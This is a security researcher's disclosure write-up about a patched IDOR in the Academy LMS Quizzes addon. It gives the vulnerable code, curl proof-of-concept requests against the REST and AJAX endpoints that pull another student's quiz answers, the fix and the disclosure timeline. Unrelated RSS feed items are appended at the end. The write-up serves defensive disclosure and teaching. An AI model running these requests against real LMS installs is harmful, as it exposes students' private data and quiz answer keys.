    The first is a centralized AJAX handler defined in includes/classes/abstract-ajax-handler.php. Every AJAX action registered through this base class passes through handle_ajax_request(), which enforces nonce validation and capability checks before dispatching to the actual callback. This is a solid design pattern.

    The second system is a collection of REST controllers under includes/api/ and addons/quizzes/api/. Each controller registers its own routes via register_rest_route() and defines its own permission_callback per endpoint. This is where consistency breaks down.

    When I grepped for permission_callback across the entire plugin, the Notes controller showed the correct pattern: every route used array($this, 'permissions_check'), and that function derived the user via get_current_user_id(), never accepting a user identifier from the request. The Notes fix had made this air-tight.

    The Quiz attempts controller told a different story.

    Two routes in addons/quizzes/api/quiz-questions.php used 'permission_callback' => '__return_true' — meaning no authentication required at all for those endpoints. That was worth noting. But the more serious issue was in addons/quizzes/api/quiz-attempts.php, specifically in the get_student_quiz_attempt_details endpoint.

    The Vulnerability: Two Separate Failure Points

    The get_student_quiz_attempt_details handler had two independent authorization failures that together created a working IDOR.

    Failure point one: the target user was read from the request, not the session.

    // addons/quizzes/api/quiz-attempts.php, line ~305
    $student_id = $request->get_param( 'user_id' );
    if ( ! $student_id ) {
        $student_id = get_current_user_id();
    }

    The handler falls back to the session user only if user_id is absent from the request. Any caller who supplies a user_id parameter gets that value used as the target identity. This is the classic IDOR setup: the object being accessed is determined by a client-controlled key.

    Failure point two: the access gate was evaluated against the victim’s context, not the caller’s.

    // lines ~308-315
    $is_administrator = current_user_can( 'administrator' );
    $is_instructor    = \Academy\Helper::is_instructor_of_this_course( $student_id, $course_id );
    $enrolled         = \Academy\Helper::is_enrolled( $course_id, $student_id );
    $is_public        = \Academy\Helper::is_public_course( $course_id );
    if ( $is_administrator || $is_instructor || $enrolled || $is_public ) {
        // returns attempt details
    }

    Notice that is_instructor_of_this_course and is_enrolled both receive $student_id — the attacker-controlled value — not get_current_user_id(). So when an attacker supplies a victim's user_id, the gate asks "is the victim enrolled in this course?" rather than "is the caller enrolled in this course?" If the victim is enrolled (which they must be to have a quiz attempt), the gate returns true, and the handler proceeds to fetch and return that victim's data.

    The database query confirmed the full impact:

    // classes/query.php, get_quiz_attempt_details()
    "SELECT
        attempt_answers.attempt_id,
        attempt_answers.user_id,
        attempt_answers.is_correct,
        attempt_answers.answer as given_answer,
        quiz_answers.answer_title as correct_answer,
        quiz_answers.answer_content,
        quiz_answers.is_correct as is_correct_answer,
        quiz_questions.question_title,
        quiz_questions.question_type,
        ...
    FROM {$wpdb->prefix}academy_quiz_attempt_answers as attempt_answers
    LEFT JOIN {$wpdb->prefix}academy_quiz_answers as quiz_answers
        ON attempt_answers.question_id = quiz_answers.question_id
    WHERE attempt_answers.attempt_id=%d AND attempt_answers.user_id=%d"

    The SELECT *-style join pulled answer_title and answer_content from the quiz_answers table — rows that include is_correct=1 entries, meaning the correct answers. The response handed the full set to the caller: every question the victim answered, whether they got it right, and what the correct answer was.

    The same vulnerable function was exposed through two independent entry points. The REST route at /wp-json/academy/v1/quiz_attempts/{id}/get_student_quiz_attempt_details used this logic directly. The AJAX action academy_quizzes/get_student_quiz_attempt_details via /wp-admin/admin-ajax.php used an identical copy of the same handler in addons/quizzes/ajax/frontend.php.

    Both were confirmed exploitable during testing.

    The Contrast with the Fixed Code

    What made this particularly clear-cut was the comparison with the Notes controller. The fix that had been shipped for Notes followed a textbook pattern:

    // includes/api/notes.php (fixed)
    public function get_user_notes( $request ) {
        $user_id = get_current_user_id();
        // ...
    }

    No $request->get_param('user_id'). The user identity is always taken from the authenticated session. The Quiz handler simply never received the same treatment.

    This is a pattern I have seen repeatedly in plugin codebases: a developer identifies and fixes a class of vulnerability in one module, but the fix is not propagated to sibling modules that share the same pattern. The developer who wrote the Notes fix clearly understood the right approach. The Quiz addon was not updated to match.

    Live Proof of Concept

    I reproduced this against a local Docker environment running WordPress with Academy LMS 3.8.2 and the Quizzes addon enabled.

    Actors in the test:

    • Attacker: pocsubscriber (user ID 4, Subscriber role), enrolled in a shared course
    • Victim: victimstudent (user ID 5, Subscriber role), enrolled in the same course, with a completed quiz attempt containing a seeded correct-answer marker

    The attacker authenticates normally and obtains a valid REST nonce:

    curl -s -c cj.txt "http://TARGET/wp-login.php" -o /dev/null
    curl -s -b cj.txt -c cj.txt \
      --data-urlencode 'log=pocsubscriber' \
      --data-urlencode 'pwd=PASSWORD' \
      --data-urlencode 'wp-submit=Log In' \
      --data-urlencode 'testcookie=1' \
      "http://TARGET/wp-login.php" -o /dev/null
    NONCE=$(curl -s -b cj.txt \
      "http://TARGET/wp-admin/admin-ajax.php?action=rest-nonce")

    The attacker then sends a request supplying the victim’s user_id and attempt_id:

    curl -s -b cj.txt -H "X-WP-Nonce: $NONCE" \
      "http://TARGET/wp-json/academy/v1/quiz_attempts/3/get_student_quiz_attempt_details?course_id=32&user_id=5"

    The response:

    {
      "3": {
        "attempt_id": "3",
        "user_id": "5",
        "is_correct": true,
        "given_answer": [],
        "correct_answer": [
          {
            "answer_id": "2",
            "quiz_id": "33",
            "answer_title": "SECRET_CORRECT_Paris",
            "answer_order": "1"
          }
        ],
        "answer_content": "CORRECT_ANSWER_CONTENT",
        "question_title": "Capital of France?",
        "question_type": "true_false"
      }
    }

    User ID 4 received user ID 5’s quiz data, including the seeded correct-answer marker SECRET_CORRECT_Paris. The same result was reproduced via the AJAX vector:

    curl -s -b cj.txt \
      --data-urlencode 'action=academy_quizzes/get_student_quiz_attempt_details' \
      --data-urlencode 'security=ACADEMY_NONCE' \
      --data-urlencode 'course_id=32' \
      --data-urlencode 'attempt_id=3' \
      --data-urlencode 'user_id=5' \
      "http://TARGET/wp-admin/admin-ajax.php"

    Response: "success": true, same data.

    Impact Assessment

    The impact has two distinct dimensions.

    The first is a straightforward confidentiality breach. Any enrolled student could enumerate other students’ quiz attempts by iterating over sequential attempt_id and user_id integers — both auto-increment, both trivially guessable. For every attempt they could retrieve the submitted answers, whether each answer was correct, and the final score. In an educational context, this is a meaningful privacy violation: a student's quiz performance is personal data.

    The second dimension is academic integrity. The correct_answer field in the response exposes the correct answers to every quiz question, regardless of whether the requester has even started the quiz. A student could query this endpoint before beginning an attempt, extract the answer key, and complete the quiz with full knowledge of all correct answers. Every graded assessment built on the Academy LMS Quizzes addon was affected.

    The required access level was Subscriber — the lowest authenticated role in WordPress. Any user who could create an account and enroll in a course could exploit this. In the free edition, is_public_course() always returns false due to an unregistered hook, so the practical attack surface was authenticated cross-student access within any shared course. This is the normal LMS use case: multiple students in the same course.

    CVSS 3.1 score: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).

    Disclosure Timeline

    Discovery and full proof-of-concept (both vectors confirmed): 2026–07–02

    Vendor notified via email to contact@kodezen.com with full technical description, affected code locations, and suggested remediation: 2026–07–02

    Submitted to WPScan vulnerability database with CVE request: 2026–07–02

    WPScan confirmed the vulnerability was already being tracked (independent discovery, duplicate submission): 2026–07–02

    Fix confirmed in latest version by code review (all $request->get_param('user_id') references replaced with get_current_user_id() throughout quiz-attempts.php): 2026-07-10

    Write-up published: 2026–07–10

    The Fix

    The vendor addressed the vulnerability by replacing all attacker-controlled user identity references with session-derived values. In the current version of addons/quizzes/api/quiz-attempts.php:

    // Before (vulnerable):
    $student_id = $request->get_param( 'user_id' );
    if ( ! $student_id ) {
        $student_id = get_current_user_id();
    }
    // After (fixed):
    $current_user_id = get_current_user_id();

    The access gate now evaluates is_enrolled and is_instructor_of_this_course against the authenticated caller, not a request-supplied identity. The fix was applied consistently across both the REST and AJAX entry points. If you are running Academy LMS with the Quizzes addon, update to the latest version.

    What This Teaches

    A few things stood out during this research that are worth naming explicitly.

    The inconsistent-fix pattern is real and worth hunting deliberately. When a plugin ships a security fix in one module, the most productive next step is to find every module that uses the same pattern and check whether it was updated. In this case, the Notes controller and the Quiz controller shared the same conceptual flaw. The fix applied to Notes in 3.8.1 was not carried through to the Quiz addon. This is not negligence — it is a natural consequence of how security fixes get written. A developer identifies a specific bug, fixes that specific bug, and moves on. The audit that would catch the sibling issue requires a broader view.

    The access gate placement matters as much as the access gate logic. The permission_callback on the REST route only checked whether the caller was logged in and associated with the course in a general sense. It did not check whether the object being requested (the specific attempt) belonged to the caller. Object-level authorization — checking not just “can this user access this resource type” but “can this user access this specific resource instance” — needs to happen at the data retrieval layer, not just at the route entry point. This is the core of what OWASP calls Broken Object-Level Authorization (BOLA), the top item in the OWASP API Security Top 10.

    Sequential integer identifiers make IDOR exploitable at scale. When attempt_id and user_id are both auto-increment database integers, an attacker does not need to know specific values to enumerate the data. They iterate. Opaque identifiers (UUIDs, non-sequential tokens) raise the bar, but they are not a substitute for proper authorization — they only make enumeration harder, not impossible if an attacker has access to any valid identifier. The fix here was correct: enforce ownership at the query layer regardless of identifier type.

    If you found this useful, feel free to connect on LinkedIn or check out my projects on GitHub.

    How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

    ]]>         <![CDATA[Robert Laidlow: Reality Eaters album review]]> https://tsecurity.de/de/3675223/ai-nachrichten/robert-laidlow-reality-eaters-album-review/ https://tsecurity.de/de/3675223/ai-nachrichten/robert-laidlow-reality-eaters-album-review/ Fri, 17 Jul 2026 08:34:01 +0200 🔧 AI Nachrichten tsecurity.de BBC Philharmonic/Havlat/Kaziboni/Piatti Quartet
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    Provide feedback on this episode.

    ]]>         <![CDATA[AI's Impact on Network Engineers | LIVE AMA | Summer of CCNA]]> https://tsecurity.de/de/3674683/it-security-video/ais-impact-on-network-engineers-live-ama-summer-of-ccna/ https://tsecurity.de/de/3674683/it-security-video/ais-impact-on-network-engineers-live-ama-summer-of-ccna/ Thu, 16 Jul 2026 23:33:07 +0200 đŸŽ„ IT Security Video tsecurity.de Author: NetworkChuck - Bewertung: 1x - Views:0

    Join us for our 90 minute Sumer of CCNA session, today at 5PM ET!

    If you haven't signed up for the Summer of CCNA, please visit this page here and let's get started! https://academy.networkchuck.com/course/premium-summer-of-ccna

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